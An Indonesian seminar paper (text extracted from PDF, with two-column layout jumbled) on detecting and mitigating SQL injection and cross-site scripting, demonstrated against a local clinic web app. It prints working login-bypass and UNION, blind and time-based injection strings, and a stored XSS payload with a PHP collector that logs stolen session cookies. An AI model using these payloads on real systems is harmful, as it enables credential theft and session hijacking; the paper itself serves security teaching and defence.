Anda di halaman 1dari 7

Seminar Nasional Ilmu Komputer2014 (SNIKOM)

Laguboti, 20 - 24 Agustus 2014

DETEKSI, IDENTIFIKASI DAN PENANGANAN WEB MENGGUNAKAN SQL


INJECTION DAN CROSS-SITE SCRIPTING

Albert Sagala1 Elni Manurung2, Binsar Siahaan3,Rusman Marpaung4


Teknik Komputer, Fakultas Teknik Informatika dan Elektro, Institut Teknologi Del
Jl.Sisimangaraja Desa Sitoluama Kec.Laguboti, Toba Samosir, 22381
Telp : (0632) 331234, Fax : (0632) 331116
E-mail : albert@del.ac.id, if11036@students.del.ac.id, if11009@students.del.ac.id,
if11072@students.del.ac.id

Abstrak
Seiring perkembangan zaman, perkembangan teknologi sangat meningkat yang diikuti dengan perkembangan
permintaan pembangunan web yang digunakan dalam berbagai keperluan seperti pendidikan, bisnis, transaksi
data yang rahasia dan lain sebagainya. Serangan SQL injection dan Cross-Site Scripting adalah dua jenis
serangaan yang paling sering ditemukan dan menghasilkan suatu ancaman yang sangat membahayakan
menurut penelitian OWASP. SQL injection memungkinkan seorang attacker untuk memperoleh data rahasia
dari suatu database. Pada Cross-site scripting, kemampuan social engineering sangat berperan dalam serangan
ini yaitu bagaimana seorang attacker dapat mengambil perhatian dari client untuk mendapatkan informasi yang
rahasia. Selain itu, kedua serangan ini memiliki kesamaan untuk mendapatkan informasi rahasia yang terdapat
di dalam suatu web diantaranya masukan-masukan dari client terhadap form login, url, text field, tag htmln
objek dokumen dan lain sebagainya yang merupakan celah yang mungkin pada web.
Pada paper ini akan dibahas mengenai deteksi, identifikasi dan penanganan terhadap dua jenis serangan
berikut. Pengujian web akan dilakukan pada website Maya Klinik yaitu web yang dibangun oleh tim developer
untuk dilakukan pengujian web menggunakan dua jenis serangan tersebut

Kata Kunci: sql injection, cross-site scripting, web, database, attacker

1. PENDAHULUAN
Gambar 1. Celah Keamanan pada web [1]
1.1 Latar Belakang
Perkembangan internet diikuti dengan pesatnya 1.2 Tujuan
pertumbuhan website pada saat ini. Website Tujuan yang ingin dicapai pada penelitian ini adalah
berperan sebagai media yang banyak digunakan sebagai berikut.
sebagai media pertukaran informasi dan media a. Mendeteksi, mengidentifikasi dan melakukan
transaksi, tetapi masih banyak website tidak penanganan terhadap serangan SQL Injection
memiliki tingkat keamanan yang baik. Ada begitu dan Cross-site scripting
banyak potensi resiko keamanan dalam website yang b. Memberikan saran bagi developer untuk
bisa dimanfaatkan oleh penyerang. Pada Gambar 1, mencegah terjadinya serangan sql injection dan
ditampilkan data tentang sepuluh celah keamanan Cross-site scripting pada website.
yang paling banyak terdapat pada website yang 1.3 Lingkup
dirilis oleh Open Web Application Security Project Lingkup dalam menyelesaikan persoalan
(OWASP). Apabila celah keamanan ini tidak penelitian ini adalah
dideteksi sejak dini, maka bisa menimbulkan 1. Objek yang digunakan adalah website. Website
dampak negatif bagi website yang menjadi target yang digunakan sebagai objek eksperimen adalah
attacker. Faktor lain adanya timbulnya celah website yang sudah ada dibangun sebelumnya.
keamanan adalah kurangnya pengetahuan developer 2. Jenis serangan yang dibahas adalah serangan
atau pengembang tentang pengamanan website yang SQL injection dan cross-site scripting.
dibangun. 3. Bahasa pemrograman yang digunakan adalah
A1-Injection
A6 Sensitive Data PHP (Hypertext Preprocessor).
Exposure
4. DBMS (Database Management System) yang
A2-Broken
Authentication and
session
A7-Missing
Function Level
digunakan adalah MySQL.
management
Acces Control
5. Saran bagi pengembang website untuk mencegah
A3-Cross-Site
Scripting
A8-Cross-Site
Request Forgery
serangan SQL injection dan cross-site scripting
terhadap website.
A9-Using
A4-Insecure Direct
Obje ct Ref erences
Components with
Known
1.4 Related Work
Vulnerabilities
1. Paper “Practical Identification of SQL Injection
A5-Security
Misconfiguration
A10-Unvalidated
Redirects and Vulnerabilities”. Dalam paper ini dijelaskan
Forwards
mengenai pengujian/testing terhadap SQL

hal 1
Seminar Nasional Ilmu Komputer2014 (SNIKOM)
Laguboti, 20 - 24 Agustus 2014

Injection yaitu menggunakan sqlmap dan 2. Data Manipulation Language (DML) -


OWASP Zed Attack Proxy (ZAP) tools dan Perintah SQL ini digunakan untuk
membuat skenario dalam melakukan deteksi menyimpan, mengambil, mengubah, dan
terhadap SQL. Jika pada tugas akhir ini tidak menghapus data. Perintah-perintah ini
menggunakan tools untuk mendeteksi adanya adalah SELECT, INSERT, UPDATE, dan
serangan sql injection, pada paper ini untuk DELETE.
menggunakan tools yang disediakan oleh 3. Transaksi Control Language (TCL) -
Backtrack dan web yang diuji menggunakan Perintah SQL ini digunakan untuk
DVWA dan skenario injeksi yang dilakukan pda mengelola perubahan yang mempengaruhi
HTTP Get Parameter, HTTP POST data dan data. Perintah-perintah ini COMMIT,
manipulasi cookie.[2] ROLLBACK, dan SAVEPOINT.
2. Paper “State of the Art: Automated Black-box 4. Data Control Language (DCL) - Perintah
Wep Application Vulnerability Testing”. SQL ini digunakan untuk menyediakan
Paper ini mendeteksi celah-celah pada web keamanan untuk objek Database. Perintah-
menggunakan automated black-box web perintah ini adalah GRANT dan
application vulnerability scanners yang akan REVOKE.2.2
menampilkan jenis serangan Cross-Site 2.2 Jenis Serangan SQL Injection
Scripting, SQL Injection dan bentuk-bentuk lain Ada 3 jenis serangan SQL Injection secara umum
dari Cross-Site Scripting, Information Disclosure yaitu[5]:
dan paling merata di dalam celah keamanan pada 1. Classical SQL Injection
web. Black-box scanner detection mendeteksi Teknik Classical Injection bekerja dengan cara
rate mengenai kelas pada celah-celah web. menggabungkan dua query untuk mendapatkan
Tujuan dari penelitian yang dilakukan yaitu informasi tambahan dari tabel tertentu dan membuat
menemukan celah menggunakan scanner dan lebih mudah untuk mendapatkan informasi dari
merepresentasikan celah yang ditemukan dengan DBMS ( Database Management System). Jenis
menggunakan scanner dan melihat seberapa serangan menginjeksi sebuah url menggunakan
efektif penggunaan scanner dan menghasilkan UNION atau titik koma (“;”).
hasilnya dalam bentuk grafik.[3] 2. Blind SQL Injection
Seperti teknik classical SQL Injection, blind sql
2. DASAR TEORI injection mengijinkan seorang attacker membaca
Dalam pengembangan sebuah website, sisi dan memperoleh data dari database hanya dengan
keamanan website menjadi hal penting yang perlu memasukkan simbol per simbol. Blind SQL Injection
diperhatikan. Celah keamanan merupakan bekerja berdasarkan pernyataan benar atau salah.
kelemahan dalam sebuah website yang Jika sebuah request dieksekusi dan menghasilkan
memungkinkan penyerang untuk merusak dan nilai true, web akan mengembalikan konten tertentu
mengambil keuntungan yang menyebabkan kerugian tetapi jika eksekusi menghasilkan nilai false, akan
bagi pengguna website. Celah keamanan disebabkan mengembalikan konten lain. Dalam beberapa kasus,
oleh kesalahan desain website atau kesalahan Blind SQL Injection dibutuhkan pada saat ketika
implementasi. Open Web Security Project aplikasi web menghasilkan pesan error dari DBMS.
(OWAPS) merilis sepuluh celah keamanan yang 3. Double Blind SQL Injection / Time-based
terdapat pada website. Serangan Double Blind SQL Injection
2.1 Structure Query Language (SQL) [4] menggunakan waktu tunda (time delay) pada saat
Structure Query Language (SQL) merupakan pemprosesan query SQL. Jika web memiliki celah,
bahasa pemrograman yang diracang untuk akan mengekseskusi request sesuai dengan
mengelola data dalam Database Management manipulasi url yang dilakukan oleh attacker. Jika
System (DBMS). Perintah SQL dapat digunakan pada sebuah query SQL benar, maka akan
tidak hanya untuk mencari data dan objek pada dieksekusi sebanyak N detik, tetapi jika query
database, tetapi juga untuk melakukan berbagai dieksekusi dengan segera, maka request yang
fungsi lainnya seperti, anda dapat membuat tabel, diberikan attacker bernilai false.
menambahkan data ke tabel, atau mengubah data, 2.3 Jenis Serangan Cross-Scripting
menghapus tabel, mengatur hak akses bagi Berikut adalah jenis serangan cross-site scripting [6].
pengguna. Perintah SQL dikelompokkan menjadi 1. Stored or Persistent XSS
empat kategori utama yaitu: Stored XSS atau yang disebut dengan persistent
1. Data Definition Language (DDL) - XSS adalah ketika seorang attacker menginjeksi
Perintah SQL ini digunakan untuk kode berbahaya secara permanen dan disimpan pada
membuat, mengubah, dan menghapus server target seperti pada database.
struktur objek Database. Perintah tersebut
diantaranya CREATE, ALTER, DROP,
RENAME, dan TRUNCATE.

hal 2
Seminar Nasional Ilmu Komputer2014 (SNIKOM)
Laguboti, 20 - 24 Agustus 2014

Gambar 2. Alur Kerja Stored XSS[7]


2. Reflected or Non-Persistent Cross Site Scripting Dari pesan error ini, seorang attacker dapat
Attacks mengetahui bahwa web dapat diinjeksi melalui
Reflected Cross Site Scripting adalah tipe serangan serangan sql injection dan diketahui juga jika web
XSS yang paling banyak digunakan dan sering menggunakan MD5 dikarenakan hashing password
disebut juga dengan serangan sementara. Dikatakan di dalam database di-hash menggunakan MD5.
sementara ketika kode tidak dapat diinjeksi ke dalam Pada tabel 1, masukan manipulasi url pada form
server, hanya dengan mengirimkan url berbahaya login pada semua role yang dimiliki web Maya
kepada client. Client akan diarahkan pada website Klinik[8].
yang akan mengembalikan serangan ke browser
Tabel 1. Masukan pada form login pada web
korban. membuat url seperti web yang sebenarnya.
Klinik
Ketika pengguna tertipu dan mengeksekusi link
berbahaya, korban akan diarahkan pada website Masukan Aksi Role
yang akan mengembalikan serangan ke browser ' OR 1=1 LIMIT 1 -- # Berhasil Owner
korban. Browser kemudian akan mengeksekusi kode ' OR 1=1 ORDER BY 1 Berhasil Apoteker
karena kode tersebut dianggap berasal dari server ASC LIMIT 1,1 --
yang terpercaya. ' or 1=1 ORDER BY 1 Berhasil Dokter
3. DOM Based XSS DESC LIMIT 1,1 -- #
' OR 1=1 ORDER BY 1 Berhasil Receptionist
DOM dapat didefinisikan sebagai sebuah
DESC LIMIT 5,1 -- #
specification Application Programming Interface ' OR 1=1 ORDER BY 1 Berhasil Kasir
(API) yang bebas bahasa dan platform. DOM DESC LIMIT 2,1 -- #
mendefinisikan struktur logic dokumen serta cara 2. Pada url, dapat dilakukan analisis dengan
melakukan manipulasi dan akses terhadap dokumen melihat url di web browser. Secara umum, url di
tersebut. Pada DOM based XSS, halaman itu sendiri suatu web menampilkan informasi yang terdapat di
(HTTP respon) tidak berubah namun kode pada sisi dalam database apakah itu numeric maupun kata.
client yang disertakan pada halaman dieksekusi Misalnya ketika kita melihat suatu berita terkini,
dengan cara yang berbeda karena modifikasi kemudian pada url di web browser akan ditampilkan
berbahaya yang sebelumnya terjadi pada DOM. berita_id = 21. Pendeteksian awal tersebut kemudian
Browser korban mulai memparsing HTML menjadi akan dilanjutkan dengan menambahkan karakter-
DOM. DOM mengandung objek yang dinamakan karakter yang berbahaya seperti single quote, double
dokumen yang mengandung property yang disebut quote, comment, tautology dan lain sebagainya.
dengan URL. Property ini ada bersama URL pada Ketika karakter-karakter yang berbahaya
halaman yang sedang dibuka sebagai bagian dari dimasukkan, akan menampilkan respon kepada
pembentukan DOM. Ketika parser sampai pada kode attacker. Di bawah ini adalah salah satu url yang
javascript, akan mengeksekusi dan memodifikasi dimiliki oleh web Maya Klinik :
HTML murni dari page tersebut.
http://localhost/proyek/Aplicatio
3. PEMBAHASAN
n/medicalrecord.php?act=detail&me
3.1 SQL Injection dicalRecordID=MR00000016
Deteksi awal celah keamanan sql injection akan
dilakukan pada web melalui form login atau url-nya. Deteksi pada web menggunakan SQL Injectison
Akan dideteksi adanya celah terhadap sql injection dalam mencari celah suatu url diantaranya :
dari web yang sangat sederhana baik dari form login - Menambahkan single quote untuk menemukan
maupun pada url nya. pesan error. Menambahkan double minus (--) pada
1. Pada form login, dapat dilakukan dengan akhir url dikarenakan memungkinkan terdapat
penambahan karakter yang berbahaya sehingga statement lanjutan di belakang query. Contoh:
request dari attacker dieksekusi. Penambahan pada url di atas dapat dibayangkan query untuk
karakter-karakter yang berbahaya dapat dimasukkan menampilkan data tersebut yaitu select pasien
ke dalam form login harus memperhatikan from MR0000016 and obat=’kapsul’.Maka untuk
pengambilan query untuk menginjeksi form login- mencari celah keamanan digunakan gabungan
nya. Ketika masukan itu tidak dapat menginjeksi single quote dan double minus untuk memisahkan
form login, maka akan menggunakan cara lain untuk tanda single quote yang digunakan pada query
memperoleh hak akses untuk memasukinya yaitu : select pasien from patient where id =
diantaranya memasukkan masukan pada username ‘MR016’-- # ‘. Dilakukan pengujian sehingga web
dan password berupa ‘ or 1=1, maka pesan error menghasilkan nilai true, sehingga url yang dapat
akan ditampilkan seperti di bawah ini. diinjeksi menjadi menghasilkan true or false.
Error Found : You have an error in your SQL syntax; Ketika url tersebut dijalankan akan menampilkan
check the manual that corresponds to your MySQL konten dari web tersebut seperti pada gambar 6 di
server version for the right syntax to use near '' and bawah ini.
Password='8fca94dd0fc8bf43b322dca33f5edd4c'' at
hal 3
line 3
Seminar Nasional Ilmu Komputer2014 (SNIKOM)
Laguboti, 20 - 24 Agustus 2014

http://localhost/proyek/Aplication/medicalrecord.php Gambar 5. Hasil Crack Password


?act=detail&medicalRecordID=MR00000016’ -- # Menggunakan Hash Online
2. Metode Blind SQL Injection
- Terdapat beberapa query di tampilan tersebut yaitu
Blind SQL Injection dapat diuji pada web 2
data pasien dan data medical record history.
dikarenakan pada saat memasukkan masukan berupa
Ketika dilakukan injeksi terhadap url tersebut
and 1=1 untuk menguji respon dari web apakah
dalam menentukan jumlah tabel yang digunakan
dan query yang memiliki prioritas yang utama.
Ketika menambahkan and 1=0 pada akhir dari url,
Karena setiap query memiliki jumlah kolom yang
maka akan menampilkan respon false yaitu tidak
berbeda. Ketika telah didapat query yang tepat
menampilkan konten dari web.
untuk diinjeksi, maka dilakukan skenario dalam
melakukan injeksi terhadap url dengan
menyisipkan di salah satu kolom.

Gambar 6. Respon false pada manipulasi url


Untuk mengetahui username dari database
menggunakan jenis serangan ini, maka dilakukan
http://localhost/proyek/Aplication/medic
dengan menebak bilangan ASCII per karakter.
alrecord.php?act=detail&medicalRecordID=
Ketika nilai ASCII
MR00000016' yang--diuji
AND 1=1 # menghasilkan nilai
true, maka akan menghasilkan tampilan web yang
sebenarnya. Ketika nilai ASCII yang diuji adalah
false, tidak menghasilkan tampilan yang sebenarnya
seperti pada gambar 6.
Gambar 3. Tampilan Url http://localhost/proyek/Aplication/med
icalrecord.php?act=detail&medicalRecor
Ketika deteksi sudah dilakukan dan menemukan dID=MR00000016' and
celah keamanan pada web itu, kakas dapat dilakukan mid(user(),1,14)=char(82,79,79,84,64,7
untuk identifikasi jenis serangan yang akan 6,79,67,65,76,72,79,83,84) --#
digunakan. Pada percobaan ini, akan digunakan 3. Metode Double Blind SQL Injection
semua jenis serangan SQL Injection. Tidak semua Serangan ini dilakukan ketika manipulasi url yang
web dapat menggunakan 3 serangan SQL Injection, dilakukan berhasil tetapi dapat ditangani di dalam
bergantung pada respon yang diberikan pada web. database, tetapi pada attacker, hasil manipulasi tidak
1. Metode Classical SQL Injection terlihat, maka tidak menutup kemungkinan jika web
Berikut adalah manipulasi url untuk mengetahui ini memiliki celah SQL Injection. Pada manipulasi
username dan password yang terdapat di dalam url di bawah, jika username password itu adalah
database Maya Klinik berupa nilai ASCII tersebut, maka lakukan delay
http://localhost/proyek/Aplication/med selama 5 detik. Jika eksekusi manipulasi url tersebut
icalrecord.php?act=detail&medicalRecor
dID=MR00000016' union select kurang dari 5 detik, maka username yang diuji
group_concat(user,password),2,3,4,5,6, bernilai salah.
7,8 from mysql.user limit 1,1 -- #
http://localhost/proyek/Aplication/medi
Ketika url dijalankan, maka akan menghasilkan calrecord.php?act=detail&medicalRecordI
tampilan seperti pada gambar4. D=MR00000016' union select
1,2,3,4,5,6,7,
if((mid(user(),1,14)=char(82,79,79,84,6
4,76,79,67,65,76,72,79,83,84)),sleep(5)
,1 ) order by 1 asc limit 1,1 -- #

Akan dilakukan pengujian pada database dengan


memasukkan query pada kode program, hasil
eksekusi akan ditampilkan pada gambar 6.
Gambar 4.Tampilan Hasil Eksekusi
Manipulasi Url
Kemudian, untuk melakukan crack pada password,
menggunakan hash online seperti pada gambar 5 di
bawah ini dan setelah dilakukan crack pada
database, maka aplikasi web sudah berada seutuhnya
pada attacker.

Gambar 7. Hasil Eksekusi di database

hal 4
Seminar Nasional Ilmu Komputer2014 (SNIKOM)
Laguboti, 20 - 24 Agustus 2014

Penanganan yang dilakukan pada pengujian web


dilakukan pada form login dan pada url.
Berikut penanganan yang dilakukan terhadap celah
keamanan tersebut antara lain:
1. Menggunakan fungsi Absolut
Menggunakan fungsi absolute dengan membuat id
menjadi absolut integer dengan cara mengubah kode
program $id=$_GET[‘id’] menjadi
$id=abs((int)$_GET['id']) . Dalam kode program
yang diperbaiki, fungsi abs() digunakan untuk Gambar 8. Tampilan Masukan Data diri
Pasien
membuat id selalu bernilai positif dan pada kode
program tersebut dilakukan casting untuk mengubah Deteksi dilakukan dengan menyertakan tag html
tipe data menjadi tipe integer. ataupun javascript ke dalam aplikasi melalui field
2. Menggunakan mysql_real_escape_string. nama, alamat, kota dan keluhan. Field nomor
Pada kode sebelumnya $id= $_GET[‘id’]; telepon tidak menjadi bahan pengujian karena hanya
diubah menjadi id=$_GET[‘id’]; menerima format data number. Tag html yang
3. Menggunakan fungsi is_numeric digunakan pada pengujian adalah tag <b>.
Melakukan pengecekan apakah nilai yang ada pada Pada field masukkan data pasien field yang
parameter id bernilai integer dengan menambahkan berpotensi memiliki celah keamanan Cross-Site
kode program berikut. Scripting adalah sebagai berikut.

$id = $_GET[‘id’];
Tabel 2. Masukan Berpotensi XSS
if(is_numeric($id)){ Nama Field Celah XSS
//query dijalankan dan aksi selanjutnya Nama 
}else{ // berikan aksi} Alamat 
Kota 
4. Membuat Fungsi No Telepon -
Fungsi untuk menghapus karakter berbahaya yang Keluhan 
dimasukkan dan data berbahaya yang dimasukkan Hasil tampilan pada aplikasi ditunjukkan pada
ke dalam aplikasi web tersebut akan ditangani di
dalam aplikasi itu sendiri dan kata berbahaya seperti gambar 9.
UNION, SELECT yang disisipkan tidak akan
dieksekusi dan menjadi suatu string biasa.
function removemaliciouschar($s)
{
return Gambar 9. Hasil Eksekusi XSS
str_replace(array("&","<",">","/","\
\",'"',"'","?","+",";","*","- Terdapat tiga tipe serangan cross-site-scripting
","#"),'',$s); yang digunakan oleh penyerang dalam melakukan
} injeksi script kepada sebuah website dinamis. Web
3.2 Cross-site Scripting simulasi yang digunakan untuk menunjukkan
Pendeteksian awal celah keamanan menggunakan bagaimana XSS itu bekerja pada web yang memiliki
cross-site scripting dilakukan pada web. Deteksi celah terhadap serangan XSS dan bagaimana XSS
adanya celah pada cross-site scripting dilakukan itu tidak bekerja pada web dimana kode programnya
pada url dan field yang menyediakan masukan bagi telah diamankan. Web simulasi yang menggunakan
attacker dan memungkinkan menjadi celah CMS tersebut akan menerapkan semua tipe serangan
keamanan untuk dilakukan eksploitasi menggunakan XSS.
cross-site scripting. Pada field tersebut, attacker Ketika celah ditemukan seperti pada gambar 8,
memasukkan tag html maupun javascript yang maka diidentifikasi jenis serangan yang akan
berbahaya. Berikut adalah field masukan data diri digunakan. Pada Maya Klinik, jenis serangan hanya
pasien pada web MayaKlinik. Data diri pasien menggunakan Stored XSS dikarenakan jika script
dimasukkan oleh receptionist ke aplikasi mayaklinik dari seorang attacker akan dieksekusi langsung pada
melalui field pada aplikasi. Receptionist berperan database. Stored terjadi pada aplikasi maya klinik
untuk mengentri data dan keluhan dari pasien. melalui field masukan data basien berupa tag html
Sedangkan hak akses yang terdapat di dalam aplikasi maupun javascript
yaitu membaca, menulis dan melakukan perubahan <script>alert("XSS Attack")</script>
data pasien. Seluruh pengguna aplikasi mayaklinik
dapat mengakses data pasien kecuali apoteker. Script berikut di injeksikan pada field alamat yang
Berikut adalah tampilan field tambah pasien pada memiliki panjang data yang lebih dari field lain pada
aplikasi. aplikasi. Berikut adalah tampilan pada aplikasi
hal 5
Seminar Nasional Ilmu Komputer2014 (SNIKOM)
Laguboti, 20 - 24 Agustus 2014

Tabel 3. Kode Program Attack.php


<?php
// Attack.php

$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$data = $_GET[c];
$time = date("Y-m-d G:i:s A");
$text="<br><br>".$time."
".$ip."<br><br>User Agent:
".$agent."<br>Referer
:".$referer."<br>Session:
Gambar 10. Tampilan Data Pasien ".$data."<br><br><br>";
$file = fopen ('result.php', 'a');
Ketika akan ditampilkan kembali pada aplikasi, fwrite($file,$text);
script dieksekusi oleh aplikasi dan mengubah fclose($file);
perilaku dari aplikasi. Berikut tampilan aplikasi header("Location: http://127.0.0.1");
setelah script dijalankan ?>

Di bawah ini akan ditampilkan kode program


result.php
Tabel 4. Kode Program Result.php

<head>
<meta http-equiv="Content-language"
content="it">
<title> Information </title>
</head>
Gambar 11. Tampilan Hasil Eksekusi <body color="#FFFFFF">
Menggunakan Stored XSS <p align="center"><font
color="#FF0000">COOKIESStealing</font></
- Mencuri cookie Admin oleh Receptionist dengan p>
Stored Cross-Site Scripting </body>
Pencurian cookie dilakukan oleh receptionist Setelah menciptakan kedua file tersebut, attacker
yang bertindak sebagai penyerang dengan akan mencari celah keamanan untuk menyuntikkan
Admin(owner) sebagai korban. Selanjutnya cookie script. Attacker akan menggunakan field input data
Admin yang dicuri oleh receptionist dimamfaatkan pasien yang tidak dilakukan penyaringan tersebut.
untuk session hijacking yang pada akhirnya <script>document.location=”http:
berujung pada login bypass pada aplikasi yang //localhost/cookie/attack.php?c=
sedang digunakan oleh owner dengan status log on. ”+document.cookie;</script>
Skenario:
Pada website http://localhost/mayaklinik telah
ditemukan celah keamanan XSS dan website Script akan tersimpan pada database dan dijalankan
tersebut diakses oleh beberapa pengguna. Pegguna setiap kali halaman aplikasi di-load. Session
aplikasi mayaklinik terdiri dari owner, dokter, pengguna akan tersimpan pada file attack.php
receptionist, kasir dan apoteker. Seluruh pengguna berikut adalah pasien dengan injeksi javascript dan
aplikasi akan dimintai password dan username berpotensi dapat mencuri session korban. Pada
ketika akan memasuki aplikasi. Ketika pengguna result.php akan tampil session korban seperti pada
aplikasi telah log in, pengguna akan diberikan gambar berikut
session untuk sehingga tetap dikenali sebagai
pengguna yang sedang log in. Receptionist mencari
celah XSS pada aplikasi dan menemukan pada field
input data pasien pada aplikasi. Langkah awal
attacker akan membuat dua file yaitu attack.php dan
result.php. Attack.php akan disimpan dalam server
yang dimiliki oleh attacker dan hasil dari
penyerangan tersebut akan ditampilkan oleh
result.php. di bawah ini dapat dilihat script yang
digunakan oleh attacker untuk mencuri cookie dari
komputer user.
Gambar 12. Tampilan Session Pengguna

hal 6
Seminar Nasional Ilmu Komputer2014 (SNIKOM)
Laguboti, 20 - 24 Agustus 2014

Session yang didapat oleh attacker selanjutnya akan site scripting dapat dilakukan dengan
digunakan oleh attacker untuk bypass aplikasi tanpa menggunakan htmlspesialchars(),htmlentities()
menggunakan password dan username selama user
masih aktif dan dalam keadaan login. 4.2 Saran
Penanganan menggunakan htmlentities() Adapun saran yang diberikan kepada
atau htmlspecialchars() dari PHP. Ketika pengembang aplikasi (developer) adalah sebagai
fungsi PHP ini diaplikasikan pada data masukan berikut:
pengguna, kedua fungsi ini akan mengubah setiap 1. Seorang developer dalam membangun aplikasi
script atau tag dalam string tersebut menjadi sesuatu berbasis web harus memperhatikan kode
yang string lain yang tidak dapat dieksekusi oleh program yang aman sehingga dapat terhindar
browser. Sebagai contoh ketika user memberi dari serangan yang dilakukan oleh attacker.
masukan berupa tag HTML dan disaring oleh fungsi 2. Seorang developer harus memperbaharui
htmlspecialchar(), keluaran aplikasi yang akan pengetahuannya terutama dalam segi keamanan
ditampilkan adalah masukan itu sendiri, bukan hasil sehingga aplikasi web yang dibangun terhindar
eksekusinya. Hasil yang ditampilkan adalah: dari serangan attacker

PUSTAKA

[1] OWAPS Top 10 – 2013 : The Ten Most Critical


Web ApplicationSecurity Risk,
https://www.owasp.org/index.php/Top_10_2013-
Top_10, diakses pada tanggal 27 Desember 2013
[2] Chad Dougherty, (2012), Practical Identification
Gambar 13. Tampilan Hasil Eksekusi of SQL Injection Vulnerabilities, Carnegie
Penanganan XSS Mellon University”.
[3] Jason Bau, Elie Bursztein, dkk, State of the Art :
Fungsi htmlentities() atau
Automated Black-box Wep Application
htmlspecialchars() berfungsi mengubah spesial
Vulnerability Testing, Standford University.
karakter menjadi kode yang akan diterjemahkan
[4] Ikhsan, Abdul.Modul SQL Menggunakan SQL
ulang dan ditampilkan kembali dalam bentuk awal
Server 2000".
pada halaman web. Fungsi htmlspecialchar()
[5]Evteev, Dmitry.2010.Methods of Quick
mengubah karakter spesial yang dapat digunakan
Exploitation of Blind SQL Injection
dalam serangan XSS, seperti ampersands(&), kutip
[6]YongHaoli.2009.Cross-Site-Scripting(XSS)-
ganda(“), kutip tunggal(‘), lebih kecil dari(<), lebih
Attacking and Defending,Turku University of
besar dari(>) ke dalam kode.
Applied Sciences
[7]http://www.linuxforu.com/2010/09/securing-
4. KESIMPULAN DAN SARAN apache-part-2-xss-Injection, diakses pada tanggal
4.1 Kesimpulan 04 Januari 2014
1. SQL Injection pada web terjadi melalui login
[8]SYP_19, 2008, “Sistem Informasi Klinik
form dan URL maupun form lain yang berkaitan
Menggunakan PHP”, Politeknik Informatika
dengan pengaksesan data dari database. Cross-
Del”.
Site Scripting dapat terjadi melalui URL dan text
field. SQL Injection maupun Cross Site Scripting
terjadi karena tidak dilakukan validasi terhadap
inputan user.
2. Penggunakan jenis serangan pada SQL Injection
dilakukan berdasarkan respon dari web
sedangkan pada Cross-site scripting berdasarkan
pada text field untuk serangan stored, url untuk
reflected yaitu dengan mengubah informasi pada
url, DOM yang pada kode program berisi
javascript yang akan dijalankan pada web
browser yang menyediakan Document Object
Model (DOM)
3. Penanganan SQL injection dapat dilakukan
menggunakan mysql_real_escape_string,
fungsi absolut, fungsi is_numeric yang
disediakan PHP, dan membuat fungsi untuk
menghapus masukan-masukan attacker berupa
karakter yang berbahaya dan penanganan cross-

hal 7

Anda mungkin juga menyukai